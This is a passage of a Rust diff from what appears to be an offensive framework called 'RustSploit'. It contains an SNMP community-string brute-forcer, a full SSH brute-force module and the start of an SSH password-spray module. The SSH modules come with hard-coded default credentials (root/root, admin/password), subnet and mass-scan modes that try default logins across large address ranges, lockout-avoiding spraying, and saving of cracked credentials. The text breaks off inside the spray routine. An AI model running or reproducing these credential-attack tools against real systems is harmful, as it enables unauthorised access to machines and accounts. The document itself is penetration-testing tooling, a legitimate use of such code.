|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
build_tlv(0x30, &message_content) // 0x30 = SEQUENCE
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
result.push(length as u8);
|
||||
} else {
|
||||
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
|
||||
// Calculate how many bytes we need for the length
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
|
||||
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
|
||||
fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
let mut val = value;
|
||||
// Encode as big-endian, using minimum number of bytes
|
||||
// For values that would have high bit set, we need an extra zero byte
|
||||
// to ensure it's interpreted as positive
|
||||
while val > 0 {
|
||||
bytes.push((val & 0xFF) as u8);
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
}
|
||||
}
|
||||
build_tlv(0x02, &bytes) // 0x02 = INTEGER
|
||||
}
|
||||
|
||||
/// Encodes OID value (without the TLV wrapper)
|
||||
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
let mut encoded = Vec::new();
|
||||
if oid.len() >= 2 {
|
||||
// First two sub-identifiers are encoded as: first * 40 + second
|
||||
encoded.push((oid[0] * 40 + oid[1]) as u8);
|
||||
for &sub_id in &oid[2..] {
|
||||
encode_sub_id(sub_id, &mut encoded);
|
||||
}
|
||||
}
|
||||
encoded
|
||||
}
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
while value > 0 {
|
||||
bytes.push((value & 0x7F) as u8);
|
||||
value >>= 7;
|
||||
}
|
||||
bytes.reverse();
|
||||
// Set high bit on all but last byte
|
||||
for i in 0..bytes.len() - 1 {
|
||||
bytes[i] |= 0x80;
|
||||
}
|
||||
}
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"snmp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// SNMP uses community strings, not user/pass pairs.
|
||||
// Map: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
empty_users,
|
||||
communities,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "snmp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: false, // UDP timeout = host not responding
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{IpAddr, ToSocketAddrs},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
task::spawn_blocking,
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target,
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_port,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
("user", "user"),
|
||||
("guest", "guest"),
|
||||
("root", "123456"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
("admin", "password"),
|
||||
("root", ""),
|
||||
("admin", ""),
|
||||
("ubuntu", "ubuntu"),
|
||||
("test", "test"),
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Brute Force".to_string(),
|
||||
description: "Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} — Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH",
|
||||
default_port: 22,
|
||||
state_file: "ssh_hose_state.log",
|
||||
default_output: "ssh_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip, port| {
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?, std::time::Duration::from_secs(5)
|
||||
) {
|
||||
Ok(t) => t,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.set_timeout(10000);
|
||||
if sess.handshake().is_err() { return None; }
|
||||
// Try common defaults
|
||||
let creds = [("root","root"),("admin","admin"),("root",""),("admin",""),("root","123456"),("admin","password")];
|
||||
for (user, pass) in creds {
|
||||
if sess.userauth_password(user, pass).is_ok() && sess.authenticated() {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ssh_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ssh_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ssh_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ssh_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(
|
||||
normalized_addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let handle = spawn_blocking(move || {
|
||||
let socket_addr: std::net::SocketAddr = addr_owned.parse()
|
||||
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
|
||||
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
|
||||
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
|
||||
let tcp = crate::utils::blocking_tcp_connect(&socket_addr, timeout_duration)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
tcp.set_read_timeout(Some(timeout_duration)).ok();
|
||||
tcp.set_write_timeout(Some(timeout_duration)).ok();
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_timeout(timeout_duration.as_millis() as u32);
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
});
|
||||
|
||||
let join_result = timeout(timeout_duration, handle)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))?;
|
||||
|
||||
join_result.map_err(|e| anyhow!("Join error: {}", e))?
|
||||
}
|
||||
@@ -0,0 +1,562 @@
|
||||
//! SSH Password Spray Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
|
||||
//! Useful for avoiding account lockouts while testing common passwords.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
use crate::utils::{cfg_prompt_yes_no, cfg_prompt_default, cfg_prompt_required};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Password Spray".to_string(),
|
||||
description: "Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ SSH Password Spray ║".cyan());
|
||||
crate::mprintln!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
crate::mprintln!("{}", "║ ║".cyan());
|
||||
crate::mprintln!("{}", "║ Benefits: ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
crate::mprintln!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful: AtomicU64,
|
||||
failed: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful: AtomicU64::new(0),
|
||||
failed: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful.load(Ordering::Relaxed);
|
||||
let failed = self.failed.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
crate::mprint!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
crate::mprintln!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
crate::mprintln!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
crate::mprintln!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// Credential result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SprayResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load list from file
|
||||
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let items: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(items)
|
||||
}
|
||||
|
||||
/// Main spray function
|
||||
pub async fn password_spray(
|
||||
targets: Vec<(String, u16)>,
|
||||
usernames: &[String],
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
stop_on_success: bool,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
crate::mprintln!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
if stop_on_success {
|
||||
crate::mprintln!("{}", "[*] Stop-on-success enabled: will halt after first valid credential".yellow());
|
||||
}
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let success_stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Spray tasks
|
||||
